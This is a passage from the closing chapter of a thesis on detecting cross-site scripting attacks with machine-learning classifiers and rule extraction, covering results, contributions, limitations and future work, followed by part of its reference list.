extracted rules which could perform the same work as the corresponding classifier. The chapter included an examination of the processing-time performance relating to extracting rules from the classifiers, and it was shown how the sampling algorithm used was improved with the aim of increasing speed while maintaining accuracy. The most influential rules that were extracted from the classifiers were reviewed and graphically represented. The purpose of making the decisions made in the black-box understandable is to develop web applications, so that by using these rules are the first line of defence against XSS attacks.

The processing-time performance of classifiers plays an important role in the selection of a classifier – especially one which is to act as a protective layer for a web application. For this reason, the processing-times have been calculated in relation to all the classifiers, single, multi-class, and cascading, as one of the criteria for selecting the classifier to be used, as a protective layer. All the classifiers were found to perform sufficiently well, in these terms, to be used for this purpose, except, that is, for the k-Nearest Neighbour classifier - which was the most expensive as regards processing time. The processing-timing performance of the classifiers is reviewed in Chapters 4, 5, 6, and 7.

8.2 Research Discussion

This section reviews the findings of the experiments conducted to detect XSS attacks against web applications. These findings assist here in the selection of a classifier or technique which can be employed as a protection layer for web applications. The factors by which a classifier may be legitimately selected are its rates of accuracy, precision, false positive rate and speed. The results of the use of single classifiers to detect XSS attacks yielded high accuracies. SVM with a linear kernel achieved a 99.82% accuracy and a 99.89% precision with a false positive rate of 11 out of 10,000; it took 0.1996 seconds to complete the testing dataset classification. SVM with polynomial kernel achieved a 99.57% accuracy and a 99.16% precision with 84 instances flagged as false positives (out of 10 ,000); it took 0.1493 seconds to

complete the testing dataset classification. The k-NN classifier achieved a 99.90% accuracy and a 99.94% precision and a false positive rate of only 6 instances; it took 8.1498 seconds to complete the testing dataset classification. Furthermore, the Random Forest classifier achieved a 99.93% accuracy and a 99.96% precision and returned only 4 false positive instances; it took 1.1097 seconds to complete the testing dataset classification. The Neural Network classifier achieved an accuracy rate of 99.86% and a precision of 99.90% and returned 10 false positive instances; it took 0.1680 seconds to complete the testing dataset classification. From the above results, it can be seen that the best classifier for detecting XSS attacks is the Random Forest classifier, noting that the classifier is not the fastest, but was chosen from a security perspective as it returned the lowest number of false positive instances. The Random Forest classifier, then, can justifiably be selected as a protective layer for a web application; this determination achieved the first objective (O1) of this study.

The method in which the created classifiers are to be used in the server side is as a protective layer between the receiving of HTTP requests, which are loaded with user inputs, and the web application. Features are extracted from the request and then passed to the classifier which then attempts to detect whether the request is malicious or benign. In the case that the request is benign it is passed to the web application, but if it is malicious the further passage of the request is prevented. The classifiers were tested by creating a site that would receive inputs and then classify them as either malicious or benign. This site was designed for a single user, and has yielded good results using the classifiers constructed in this study.

For the purpose of filtering user input and increasing accuracy, which is the second objective (O2) of this study, an ensemble technique with cascading classifiers was used. This combined method achieved high accuracy results in the detection of XSS attacks. The proposed system takes advantage of cascading classifications to classify the inputs into normal text or script, and then passes the scripts to the second stage, which contains the stacked technique. In this phase, the inputs are classified using the previously described classifiers and then the outputs are used as the inputs for the meta classifier. The proposed system achieved a 99.92% accuracy

and a 99.96% precision with only 4 false positive instances returned; it took 0.0002 seconds to complete the classification across both phases using NN classifier as meta classifier. Whereas, the proposed system is one of the first methods to use stacking ensemble technique to detect XSS attacks.

In order to the understand decision making undertaken by the 'black-box classifiers', the rules that have been used by the various classifiers to determine whether instances are malicious or benign have been extracted. A method of approximate extraction, which extracts an approximation of the Boolean function which represents the decisions made by a particular classifier has been proposed. The operation of this method depends on a sampling principle. Experiments were conducted to test this approximate extraction method in relation to the Neural Network, k-NN, and SVM classifiers, and the results of the distribution of the testing dataset over the approximate rules extracted yielded high accuracy ratings. By using this algorithm, the distribution of the testing dataset over the approximate rules extracted achieved a 99.90% accuracy and a 99.94% precision. The weakness of this algorithm, however, was that it took a long time to extract the rules. In order to yield high accuracies but with an improved processing time performance in these terms, the algorithm was developed further by reducing the number of instances in the samples but increasing their diversity – in order to attain a balance between the number of samples and fairness in classification. The algorithm was applied after the amendments had been made to the Neural Network, k-Nearest Neighbour, and Support Vector Machine classifiers. Using the modified algorithm, the classifiers obtained high accuracy rates. The Neural Network achieved a 99.87% accuracy, K-Nearest Neighbour achieved a 97.06% accuracy and SVM achieved a 99.90% accuracy. Moreover, from the results of the use of the modified algorithm it can be observed that there was an improvement in processing-time performance in relation to extracting rules from the classifiers. Using this method the third objective (O3) of this study was achieved.

8.3 Research Contributions

This research makes the following contributions:

- A dataset containing a variety of Cross-Site Scripting attacks was created in order to simulate real-world attacks. The creation of the dataset and its sources are described in Chapter 3. The XSS dataset is considered a contribution because the earlier works that mentioned in Chapter 2 have used datasets that contain limited sets of malicious instances, or they focus on a specific type of malicious scripts, unlike the dataset that was created for this research. Cross-Site Scripting dataset is available at "https://github.com/fmereani/Cross-Site-Scripting-XSS". It is available for academic purposes or for further examination and analysis.

- The extracting of feature sets which could be employed to train the classifiers to detect XSS attacks written in JavaScript was achieved. The features were divided into two groups: an alphanumeric group which included the features that are most commonly used in attacks, and a group of non-alphanumeric features, which included features used in specific types of attack. The extraction of the features is described in Section 3.5. Whereas, the novelty in the features groups that were extracted in this research is that they have been represented in a Boolean format, unlike other works in which the values of the features were calculated, which takes time to extract them.

- XSS attacks were detected from within a web applications using machine learning techniques; this was achieved via Support Vector Machine (SVM), k-Nearest Neighbour (k-NN), Random Forest (RF) and Neural Network (NN) classifiers - to identify known and novel types of attack within both obfuscated and non-obfuscated scripts, in order to simulate the detection of real-world attacks. The techniques used are explained in Chapters 4.

- Increasing the accuracy rate was achieved by using a combination of techniques via cascading classifiers together with stacking ensemble techniques. The

techniques used are described in Chapter 6. This method is considered one of the first methods to use stacked ensemble technique to detect XSS attacks on the server side.

- Extracting rules from black box classifiers, which explain how decisions are made in a classifier, is explained in Chapter 7.

8.4 Limitations

As stated in Chapter 4, the classifiers' performance results were as expected from the use in the literature of machine learning to detect XSS attacks against web applications, as classifiers have been proven to the ability to detect current and new XSS attacks. However, classifiers have the following limitations.

- The number of false positives: The misclassification of XSS attacks, SQL and LDAP injections is discussed in Sections 4.5.2.6, 4.5.3.6 and 4.5.4.6. A false positive represents the situation where a malicious instance is misclassified as benign. The reason that false positives occur is that the instances involved may be very short and thus they do not have enough features to allow them to be classified as malicious; alternatively, an instance may be too long for comparisons to be made with less abnormal texts. In relation to the SQL and LDAP injections, most of the false positives were due to the use of non-alphanumeric features within the injections.

- Processing time performance: The classifiers which achieved high accuracy and precision results were k-NN and RF, but these took a longer time than other classifiers to classify instances. This was observed in both the single classifier and the cascading classifier situations.

- Dataset size: The reason for the low numbers of XSS, SQL-i and LDAP attacks which could be found is their short life-spans on the web; they are removed as quickly as possible. Therefore, sources containing examples of attacks are very limited.

- Limit of resource: MatLab licenses represented one of the limitations which were faced in the present study; as a result of this issue, the classifiers constructed here could not be used in web applications. The reason for this was that a MatLab license is required to use MatLab components on live sites.

8.5 Future Work

By avoiding focusing on one just type of attack or just one type of machine learning algorithm, a broader basis upon which further work can be attempted has been obtained by this research. On this basis, future research work might usefully include the following.

- Investigating other types of supervised machine learning algorithms such as Naive Bayes, Decision Trees, and Deep Neural Networks, which could be used to detect XSS attacks against web applications. The focus of investigating these algorithms will be on using the same features in this study and the same method as the features are represented.

- Improving the classification performance in classifiers that classify all three types of attacks (XSS, SQL-i, and LDAP), in order to reduce the number of false positive. Improvement is likely to be accomplished by optimising parameters, scrutinizing features that differentiate the types of attacks, depending on a methodology that differs from the use of common or similar features.

- Extending the research area by including all the vulnerabilities of web applications that share the same way of working. Intended attacks are those that are injected through entry points into web applications such as Code injection, CRLF (Carriage Return and Line Feed) injection, operating system commands injection, and XPath injection. Extending the research area will be by extracting more effective features in terms of identifying types of attack, depending on the commonalties and differences between attacks. This would

be for the purpose of building a classifier that has the ability to categorize all types of attack which exploit web application vulnerabilities.

- Developing of the proposed method for extracting the rules from the black box classifiers can be to include different values other than 0 and 1. The development is by modifying the data to be limited within a certain range, which helps to extract a function whose conditions are using the if ... then ... else form. In addition, there are the possibilities which might be yielded by changing the sampling system from using nearby samples to using distant samples. This can be by monitoring samples and comparing them with the training data to exclude similar samples to the training data and using new samples. Taking into consideration monitoring processing-time performance when extracting the rules from classifiers.

References

[1] Abu-Nimeh, S., Nappa, D., Wang, X., and Nair, S. (2007). A comparison of machine learning techniques for phishing detection. In *Proceedings of the anti-phishing working groups 2nd annual eCrime researchers summit*, pages 60–69. ACM.

[2] Aebersold, S., Kryszczuk, K., Paganoni, S., Tellenbach, B., and Trowbridge, T. (2016). Detecting Obfuscated JavaScripts using Machine Learning. In *ICIMP 2016 : The Eleventh International Conference on Internet Monitoring and Protection*.

[3] Akaishi, S. and Uda, R. (2019). Classification of xss attacks by machine learning with frequency of appearance and co-occurrence. In *2019 53rd Annual Conference on Information Sciences and Systems (CISS)*, pages 1–6.

[4] Albeniz, Z. (n.d.). The Definitive Guide to Same-origin Policy. https://www.netsparker.com/whitepaper-same-origin-policy/. Accessed: 22/10/2020.

[5] Altman, N. S. (1992). An introduction to kernel and nearest-neighbor nonparametric regression. *The American Statistician*, 46(3):175–185.

[6] Ardiansyah, S., Majid, M. A., and Zain, J. M. (2016). Knowledge of extraction from trained neural network by using decision tree. In *2016 2nd International Conference on Science in Information Technology (ICSITech)*, pages 220–225. IEEE.

[7] Ariu, D., Tronci, R., and Giacinto, G. (2011). HMMPayl: An intrusion detection system based on Hidden Markov Models. *Computers & Security*, 30(4):221–241.

[8] Asabere, N. Y. and Torgby, W. K. (2013). Towards a perspective of web application vulnerabilities and security threats. *International Journal of Computer Science and Telecommunications*, 4(5):25–33.

[9] Augasta, M. G. and Kathirvalavakumar, T. (2012). Rule extraction from neural networks—a comparative study. In *International Conference on Pattern Recognition, Informatics and Medical Engineering (PRIME-2012)*, pages 404–408. IEEE.

[10] Bach, S., Binder, A., Montavon, G., Klauschen, F., Müller, K.-R., and Samek, W. (2015). On Pixel-Wise Explanations for Non-Linear Classifier Decisions by Layer-Wise Relevance Propagation. *PLoS ONE*, 10(7):e0130140.

[11] Baehrens, D., Schroeter, T., Harmeling, S., Kawanabe, M., Hansen, K., and Müller, K.-R. (2010). How to Explain Individual Classification Decisions. *Journal of Machine Learning Research*, 11:1803–1831.

[12] Baesens, B., Martens, D., Setiono, R., and Zurada, J. M. (2011). Guest Editorial White Box Nonlinear Prediction Models. *IEEE Transactions on Neural Networks*, 22(12):2406–2408.

[13] Baig, A., Bouridane, A., Kurugollu, F., and Albesher, B. (2014). Cascaded multimodal biometric recognition framework. *IET Biometrics*, 3(1):16–28.

[14] Balzarotti, D., Cova, M., Felmetsger, V., Jovanovic, N., Kirda, E., Kruegel, C., and Vigna, G. (2008). Saner: Composing static and dynamic analysis to validate sanitization in web applications. In *2008 IEEE Symposium on Security and Privacy (sp 2008)*, pages 387–401. IEEE.

[15] Balzarotti, D., Cova, M., Felmetsger, V. V., and Vigna, G. (2007). Multi-module vulnerability analysis of web-based applications. In *Proceedings of the 14th ACM conference on Computer and communications security*, pages 25–35. ACM.

[16] Bambrick, N. (2016). Support Vector Machines: A Simple Explanation. http://blog.aylien.com/support-vector-machines-for-dummies-a-simple/. Accessed: 26/12/2016.

[17] Bansal, A. and Arora, M. (2012). Ethical hacking and social security. *Radix International Journal of Research in Social Science*, 1(11):1–16.

[18] Bastani, O., Ioannou, Y., Lampropoulos, L., Vytiniotis, D., Nori, A., and Criminisi, A. (2016). Measuring neural net robustness with constraints. In *Advances in neural information processing systems*, pages 2613–2621.

[19] BBC News (2010). Google acts to fix YouTube flaw exploited by hackers. http://www.bbc.co.uk/news/10506150. Accessed: 7/11/2016.

[20] Beaver, K. (2007). *Hacking for dummies*. John Wiley & Sons.

[21] Bisht, P. and Venkatakrishnan, V. N. (2008). *XSS-GUARD: Precise Dynamic Prevention of Cross-Site Scripting Attacks*, pages 23–43. Springer Berlin Heidelberg, Berlin, Heidelberg.

[22] Blessie, E. C. and Karthikeyan, E. (2012). Sigmis: A feature selection algorithm using correlation based method. *Journal of Algorithms & Computational Technology*, 6(3):385–394.

[23] Bloch, I. (1996). Information combination operators for data fusion: a comparative review with classification. *IEEE Transactions on Systems, Man, and Cybernetics-Part A: Systems and Humans*, 26(1):52–67.

[24] Bondarenko, A., Aleksejeva, L., Jumutc, V., and Borisov, A. (2017). Classification Tree Extraction from Trained Artificial Neural Networks. *Procedia Computer Science*, 104:556–563.

[25] Breiman, L. (1996). Bagging predictors. *Machine Learning*, 24(2):123–140.

[26] Breiman, L. et al. (2001). Statistical modeling: The two cultures (with comments and a rejoinder by the author). *Statistical Science*, 16(3):199–231.

[27] Bryant, M. (2014). More Advanced XSS Denial of Service Attacks? https://thehackerblog.com/more-advanced-xss-denial-of-service-attacks/. Accessed: 12/8/2016.

[28] Bryant, R. E. (1992). Symbolic Boolean Manipulation with Ordered Binary Decision Diagrams. *ACM Computing Surveys*, 24:293–318.

[29] Buchanan, B. ("n.d"). JavaScript - Examples. http://www.soc.napier.ac.uk/~bill/jscript_page.html. Accessed: 15/3/2017.

[30] Buczak, A. L. and Guven, E. (2015). A survey of data mining and machine learning methods for cyber security intrusion detection. *IEEE Communications surveys & tutorials*, 18(2):1153–1176.

[31] Bulusu, P. (2015). Detection of Lightweight Directory Access Protocol Query Injection Attacks in Web Applications. Master's thesis, Kennesaw State University.

[32] Cao, D.-S., Xu, Q.-S., Liang, Y.-Z., Zhang, L.-X., and Li, H.-D. (2010). The boosting: A new idea of building models. *Chemometrics and Intelligent Laboratory Systems*, 100(1):1–11.

[33] Chand, N., Mishra, P., Krishna, C. R., Pilli, E. S., and Govil, M. C. (2016). A comparative analysis of SVM and its stacking with other classification algorithm for intrusion detection. In *Advances in Computing, Communication, & Automation*, pages 1–6. IEEE.

[34] Chao, W.-L. (2011). Machine learning tutorial. http://disp.ee.ntu.edu.tw/~pujols/Machine%20Learning%20Tutorial.pdf. Accessed: 16/10/2016.

[35] Cho, K., Van Merriënboer, B., Gulcehre, C., Bahdanau, D., Bougares, F., Schwenk, H., and Bengio, Y. (2014). Learning Phrase Representations using RNN Encoder-Decoder for Statistical Machine Translation. In *Empirical Methods in Natural Language Processing*, page 1724–1734. Association for Computational Linguistics.

[36] Christensen, A. S., Møller, A., and Schwartzbach, M. I. (2003). Precise Analysis of String Expressions. In *International Static Analysis Symposium*, pages 1–18. Springer.

[37] Conallen, J. (1999). Modeling Web application architectures with UML. *Communications of the ACM*, 42(10):63–70.

[38] Copeland, M. (2016). What's the Difference Between Artificial Intelligence, Machine Learning and Deep Learning? https://blogs.nvidia.com/blog/2016/07/29/whats-difference-artificial-intelligence-machine-learning-deep-learning-ai/. Accessed: 30/9/2020.

[39] Craven, M. W. and Shavlik, J. W. (1994). Using Sampling and Queries to Extract Rules from Trained Neural Networks. In *Machine learning proceedings 1994*, pages 37–45. Elsevier.

[40] Craven, M. W. and Shavlik, J. W. (1996). Extracting Tree-Structured Tepresentations of Trained Networks. In *Advances in Neural Information Processing Systems*, pages 24–30. MIT Press.

[41] Cristianini, N. and Shawe-Taylor, J. (2000a). *An Introduction to Support Vector Machines and Other Kernel-based Learning Methods*. Cambridge University Press.

[42] Cristianini, N. and Shawe-Taylor, J. (2000b). Support Vector Machines. In *An Introduction to Support Vector Machines and Other Kernel-based Learning Methods:*, pages 93–124. Cambridge University Press, Cambridge.

[43] Curran, P. (2016). Everyone Talks About Phishing, But No One Blames XSS. https://www.checkmarx.com/2016/04/26/everyone-talks-phishing-no-one-blames-xss/. Accessed: 22/10/2020.

[44] Dancey, D., McLean, D. A., and Bandar, Z. A. (2004). Decision Tree Extractionfrom Trained Neural Networks. American Association for Artificial Intelligence.

[45] Dasarathy, B. V. and Sheela, B. V. (1979). A composite classifier system design: concepts and methodology. *Proceedings of the IEEE*, 67(5):708–713.

[46] Dave and Bruns, L. (2012). SQL Tutorial: Introduction. "https://exceljet.net/excel-functions". Accessed: 11/4/2016.

[47] Dietterich, T. G. (2002). Ensemble learning. *The handbook of brain theory and neural networks*, 2:110–125.

[48] Domingos, P. (2012). A Few Useful Things to Know about Machine Learning. *Commun. ACM*, 55(10):78–87.

[49] Doupé, A., Cui, W., Jakubowski, M. H., Peinado, M., Kruegel, C., and Vigna, G. (2013). DeDacota: Toward Preventing Server-Side XSS via Automatic Code and Data Separation. In *Proceedings of the 2013 ACM SIGSAC Conference on Computer & Communications Security*, CCS '13, page 1205–1216, New York, NY, USA. Association for Computing Machinery.

[50] Drucker, H., Cortes, C., Jackel, L. D., LeCun, Y., and Vapnik, V. (1994). Boosting and Other Ensemble Methods. *Neural Computation*, 6(6):1289–1301.

[51] Drummond, C. and Holte, R. C. (2000). Exploiting the cost (in)sensitivity of decision tree splitting criteria. In *Proceedings of the Seventeenth International Conference on Machine Learning*, ICML '00, page 239–246, San Francisco, CA, USA. Morgan Kaufmann Publishers Inc.

[52] DuPaul, N. (2013). Static Testing vs. Dynamic Testing. https://www.veracode.com/blog/2013/12/static-testing-vs-dynamic-testings. Accessed: 27/11/2016.

[53] Džeroski, S. and Ženko, B. (2004). Is Combining Classifiers with Stacking Better than Selecting the Best One? *Machine Learning*, 54(3):255–273.

[54] Emberton, N. (1998). Computer Hope. https://www.computerhope.com/jargon.htm.

[55] Epsylon, L. (n.d.). XSS Hacking Tutorial. https://xsser.03c8.net/xsser/XSS_for_fun_and_profit_SCG09_(english).pdf. Accessed: 26/10/2020.

[56] Erickson, J. (2008). *Hacking: The Art of Exploitation*. No Starch Press.

[57] Etchells, T. A. and Lisboa, P. J. (2006). Orthogonal Search-based Rule Extraction (OSRE) for Trained Neural Networks: a Practical and Efficient Approach. *IEEE transactions on Neural Networks*, 17(2):374–384.

[58] Fayyad, U., Piatetsky-Shapiro, G., and Smyth, P. (1996). From Data Mining to Knowledge Discovery in Databases. *AI magazine*, 17(3):37–37.

[59] Fernandez, K. and Pagkalos, D. (n.d). XSS (Cross-Site Scripting) Information and Vulnerable Websites Archive. http://XSSed.com. Accessed 14/06/2017.

[60] Fielding, R., Gettys, J., Mogul, J., Frystyk, H., Masinter, L., Leach, P., and Berners-Lee, T. (1999). Hypertext Transfer Protocoll–HTTP/1.1. "https://www.rfc-editor.org/info/rfc2616". Accessed: 15/10/2016.

[61] Flanagan, D. (2006). *JavaScript: The Definitive Guide*. Definitive Guide Series. O'Reilly Media, Incorporated.

[62] Fletcher, T. (2009). Support vector machines explained. *Online]. http://sutikno. blog. undip. ac. id/files/2011/11/SVM-Explained. pdf.[Accessed 06 06 2013].*

[63] Fogie, S., Grossman, J., Hansen, R., Rager, A., and Petkov, P. D. (2011). *XSS Attacks: Cross Site Scripting Exploits and Defense*. Syngress.

[64] Gallagher, B. and Eliassi-Rad, T. (2009). Classification of HTTP Attacks: A Study on the ECML/PKDD 2007 Discovery Challenge. Technical report, Lawrence Livermore National Lab.(LLNL), Livermore, CA (United States).

[65] Gallant, S. and Gallant, S. (1993). *Neural Network Learning and Expert Systems*. A Bradford book. MIT Press.

[66] Gama, J. and Brazdil, P. (2000). Cascade Generalization. *Machine Learning*, 41(3):315–343.

[67] Giménez, C. T., Villegas, A. P., and Marañón, G. Á. (2010). HTTP Data Set CSIC 2010. *Information Security Institute of CSIC (Spanish Research National Council)*.

[68] Glen, S. (2016). Tetrachoric Correlation: Definition, Examples, Formula. https://www.statisticshowto.com/tetrachoric-correlation/. Accessed: 30/9/2020.

[69] Goel, J. N., Asghar, M. H., Kumar, V., and Pandey, S. K. (2016). Ensemble based approach to increase vulnerability assessment and penetration testing accuracy. In *2016 International Conference on Innovation and Challenges in Cyber Security (ICICCS-INBUSH)*, pages 330–335.

[70] Grossman, J. (2003). Cross site tracing (xst). *WhiteHat Security White Paper*.

[71] Grossman, J. (2006). Cross-site scripting worms and viruses. *WhiteHat Security*, 2006.

[72] Gunning, D. (2016). Explainable Artificial Intelligence (XAI). Technical Report DARPA/I20, Defense Advanced Research Projects Agency.

[73] Gupta, B. B., Gupta, S., Gangwar, S., Kumar, M., and Meena, P. K. (2015). Cross-Site Scripting (XSS) Abuse and Defense: Exploitation on Several Testing Bed Environments and Its Defense. *Journal of Information Privacy and Security*, 11(2):118–136.

[74] Hailesilassie, T. (2016). Rule Extraction Algorithm for Deep Neural Networks: A Review. *CoRR*, abs/1610.05267.

[75] Hallaraker, O. and Vigna, G. (2005). Detecting malicious JavaScript code in Mozilla. In *10th IEEE International Conference on Engineering of Complex Computer Systems (ICECCS'05)*, pages 85–94. IEEE.

[76] Hamm, B. (2016). What is box constraint in svmtrain fucntion. https://uk.mathworks.com/matlabcentral/answers/301213-what-is-box-constraint-in-svmtrain-fucntion. Accessed: 22/1/2017.

[77] Hansen, R. R. (n.d). XSS Filter Evasion Cheat Sheet. https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet. Accessed: 9/7/2016.

[78] Haque, M. and Hosain, S. (2013). A Comparative Analysis of Different Implementation Techniques to Prevent Cross Site Scripting Attack in Web Application. *International Journal of Advanced Studies in Computers, Science and Engineering*, 2(5):1–6.

[79] Harvey, B. (n.d). What is a Hacker? https://people.eecs.berkeley.edu/~bh/hacker.html. Accessed: 23/11/2016.

[80] He, K., Zhang, X., Ren, S., and Sun, J. (2016). Deep Residual Learning for Image Recognition. In *Computer Vision and Pattern Recognition*, pages 770–778. IEEE.

[81] Heyes, G. (2009). JavaScript for Hackers. https://owasp.org/www-pdf-archive/OWASP_Manchester_Nonalpha.pdf. Accessed: 12/8/2016.

[82] Heyes, G. (2011). Non-alphanumeric code. https://owasp.org/www-pdf-archive/OWASP_Manchester_Nonalpha.pdf. Accessed: 12/8/2016.

[83] HotHotSoftware.com ("n.d"). Extract Data and Text from Multiple Text and HTML Files Software. http://www.hothotsoftware.com/text_html_data_extract_software/.

[84] Huang, Y.-W., Yu, F., Hang, C., Tsai, C.-H., Lee, D.-T., and Kuo, S.-Y. (2004a). Securing Web Application Code by Static Analysis and Runtime Protection. In *Proceedings of the 13th international conference on World Wide Web*, pages 40–52. ACM.

[85] Huang, Y.-W., Yu, F., Hang, C., Tsai, C.-H., Lee, D.-T., and Kuo, S.-Y. (2004b). Verifying Web Applications Using Bounded Model Checking. In *Dependable Systems and Networks, 2004 International Conference on*, pages 199–208. IEEE.

[86] Huysmans, J., Baesens, B., and Vanthienen, J. (2006). Using Rule Extraction to Improve the Comprehensibility of Predictive Models. https://papers.ssrn.com/sol3/papers.cfm?abstract_id=961358.

[87] Jacobs, R. A., Jordan, M. I., Nowlan, S. J., and Hinton, G. E. (1991). Adaptive Mixtures of Local Experts. *Neural Computation*, 3(1):79–87. PMID: 31141872.

[88] Jain, T. K., Kushwaha, D. S., and Misra, A. K. (2008). Optimization of the Quine-McCluskey Method for the Minimization of the Boolean Expressions. In *Fourth International Conference on Autonomic and Autonomous Systems (ICAS'08)*, pages 165–168.

[89] Japkowicz, N. and Stephen, S. (2002). The class imbalance problem: A systematic study. *Intelligent data analysis*, 6(5):429–449.

[90] JavaScript Kit (2017). Free JavaScript. http://www.javascriptkit.com/cutpastejava.shtml. Accessed: 8/7/2017.

[91] Jordan, M. I. and Jacobs, R. A. (1994). Hierarchical Mixtures of Experts and the EM Algorithm. *Neural Computation*, 6(2):181–214.

[92] Jovanovic, N., Kruegel, C., and Kirda, E. (2006). Precise Alias Analysis for Static Detection of Web Application Vulnerabilities. In *Proceedings of the 2006 Workshop on Programming Languages and Analysis for Security*, PLAS '06, page 27–36, New York, NY, USA. Association for Computing Machinery.

[93] Julian, K. D., Lopez, J., Brush, J. S., Owen, M. P., and Kochenderfer, M. J. (2016). Policy compression for aircraft collision avoidance systems. In *2016 IEEE/AIAA 35th Digital Avionics Systems Conference (DASC)*, pages 1–10.

[94] Kallin, J. and Valbuena, I. L. (2013). Excess xss: A comprehensive tutorial on cross-site scripting. http://excess-xss.com/. Accessed: 6/6/2016.

[95] Karnaugh, M. (1953). The map method for synthesis of combinational logic circuits. *Transactions of the American Institute of Electrical Engineers, Part I: Communication and Electronics*, 72:593–599.

[96] Katz, G., Barrett, C., Dill, D. L., Julian, K., and Kochenderfer, M. J. (2017). Reluplex: An Efficient SMT Solver for Verifying Deep Neural Networks. In Majumdar, R. and Kunčak, V., editors, *Computer Aided Verification*, pages 97–117, Cham. Springer International Publishing.

[97] Keedwell, E., Narayanan, A., and Savic, D. (2000). Creating Rules from Trained Neural Networks Using Genetic Algorithms. *Internation Journal of Computers, System and Signal*, 1(1):30–42.

[98] Khan, N., Abdullah, J., and Khan, A. S. (2015). Towards Vulnerability Prevention Model for Web Browser Using Interceptor Approach. In *IT in Asia (CITA), 2015 9th International Conference on*, pages 1–5. IEEE.

[99] Khan, N., Abdullah, J., and Khan, A. S. (2017). Defending Malicious Script Attacks Using Machine Learning Classifiers. *Wireless Communications and Mobile Computing*, 2017(5360472):9 pages.

[100] Kho, J. (2018). Why Random Forest is My Favorite Machine Learning Model. https://towardsdatascience.com/why-random-forest-is-my-favorite-machine-learning-model-b97651fa3706. Accessed: 12/10/2020.

[101] Khor, K.-C., Ting, C.-Y., and Phon-Amnuaisuk, S. (2012). A cascaded classifier approach for improving detection rates on rare attack categories in network intrusion detection. *Applied Intelligence*, 36(2):320–329.

[102] Kieyzun, A., Guo, P. J., Jayaraman, K., and Ernst, M. D. (2009). Automatic creation of SQL Injection and cross-site scripting attacks. In *2009 IEEE 31st International Conference on Software Engineering*, pages 199–209. IEEE.

[103] Kim, B.-I., Im, C.-T., and Jung, H.-C. (2011). Suspicious Malicious Web Site Detection with Strength Analysis of a JavaScript Obfuscation. *International Journal of Advanced Science and Technology*, 26:19–32.

[104] Kim, I. M. (2012). Penetration Testing of a Web Application Using Dangerous HTTP Methods. SANS Institute InfoSec Reading Room.

[105] Kirda, E., Jovanovic, N., Kruegel, C., and Vigna, G. (2009). Client-side cross-site scripting protection. *computers & security*, 28(7):592–604.

[106] Kirda, E., Kruegel, C., Vigna, G., and Jovanovic, N. (2006). Noxes: A Client-Side Solution for Mitigating Cross-Site Scripting Attacks. In *Proceedings of the 2006 ACM symposium on Applied computing*, pages 330–337. ACM.

[107] Klein, A. (2005). Dom based cross site scripting or xss of the third kind. *Web Application Security Consortium, Articles*, 4:365–372.

[108] Komiya, R., Paik, I., and Hisada, M. (2011). Classification of Malicious Web Code by Machine Learning. In *Awareness Science and Technology (iCAST), 2011 3rd International Conference on*, pages 406–411. IEEE.

[109] Kotha, R. K., Prasad, G., and Naik, D. (2012). Analysis of xss attack mitigation techniques based on platforms and browsers. *SEA, CLOUD, DKMP, CS & IT*, 5:395–405.

[110] Kotowicz, K. and West, M. (2020). Trusted Types. https://w3c.github.io/webappsec-trusted-types/dist/spec/. Accessed: 21/9/2020.

[111] Kotsiantis, S. (2007). Supervised machine learning: A review of classification techniques. *Informatica*, 31:249–268.

[112] Kuncheva, L. I. (2004). Classifier Ensembles for Changing Environments. In Roli, F., Kittler, J., and Windeatt, T., editors, *Multiple Classifier Systems*, pages 1–15, Berlin, Heidelberg. Springer Berlin Heidelberg.

[113] Ledesma, R. D., Macbeth, G., and Valero-Mora, P. (2011). Software for computing the tetrachoric correlation coefficient. *Revista Latinoamericana de Psicología*, 43(1):181–189.

[114] Lee, D. (2014). ebay security flaw has existed for months. http://www.bbc.co.uk/news/technology-29279213. Accessed: 7/11/2016.

[115] Likarish, P., Jung, E., and Jo, I. (2009). Obfuscated Malicious Javascript Detection using Classification Techniques. In *Malicious and Unwanted Software (MALWARE), 2009 4th International Conference on*, pages 47–54. IEEE.

[116] Liu, W., Príncipe, J. C., and Haykin, S. (2010). *Kernel Adaptive Filtering: A Comprehensive Introduction*, pages 1–26. John Wiley & Sons, Inc.

[117] Liu, Y., Zhao, W., Wang, D., and Fu, L. (2015). A XSS Vulnerability Detection Approach Based on Simulating Browser Behavior. In *Information Science and Security (ICISS), 2015 2nd International Conference on*, pages 1–4. IEEE.

[118] Louw, M. T. and Venkatakrishnan, V. (2009). Blueprint: Robust Prevention of Cross-Site Scripting Attacks for Existing Browsers. In *Security and Privacy, 2009 30th IEEE Symposium on*, pages 331–346. IEEE.

[119] Mahanta, J. (2017). Introduction to Neural Networks, Advantages and Applications. https://towardsdatascience.com/introduction-to-neural-networks-advantages-and-applications-96851bd1a207. Accessed: 12/10/2020.

[120] Mahendran, A. and Vedaldi, A. (2015). Understanding Deep Image Representations by Inverting Them. In *Computer Vision and Pattern Recognition*, pages 5188–5196. IEEE.

[121] Makarem, C. (2018). DOM-Based Cross Site Scripting (DOM-XSS). https://medium.com/iocscan/dom-based-cross-site-scripting-dom-xss-3396453364fd. Accessed: 26/10/2020.

[122] Malviya, V. K., Saurav, S., and Gupta, A. (2013). On Security Issues in Web Applications through Cross Site Scripting (XSS). In *Software Engineering Conference (APSEC), 2013 20th Asia-Pacific*, volume 1, pages 583–588. IEEE.

[123] Manojlovic, V. (2013). Minimization of Switching Functions using Quine-McCluskey Method. *International Journal of Computer Applications*, 82(4):12–16.

[124] Martens, D., Baesens, B., and Van Gestel, T. (2009). Decompositional Rule Extraction from Support Vector Machines by Active Learning. *IEEE Transactions on Knowledge and Data Engineering*, 21(2):178–191.

[125] Math Works (2019). Feature Selection. https://uk.mathworks.com/help/stats/feature-selection.html. Accessed: 11/3/2019.

[126] Math Works (n.da). fitcsvm. https://uk.mathworks.com/help/stats/fitcsvm.html. Accessed: 22/1/2017.

[127] Math Works (n.db). Machine learning technique for building predictive models from known input and response data. https://uk.mathworks.com/discovery/supervised-learning.html?s_tid=srchtitle. Accessed: 12/12/2016.

[128] Math Works (n.dc). Supervised Learning Workflow and Algorithms. https://uk.mathworks.com/help/stats/supervised-learning-machine-learning-workflow-and-algorithms.html?s_tid=srchtitle. Accessed: 12/12/2016.

[129] McCrea, N. (n.d). An Introduction to Machine Learning Theory and Its Applications: A Visual Tutorial with Examples. "https://www.toptal.com/machine-learning/machine-learning-theory-an-introductory-primer". Accessed: 11/12/2016.

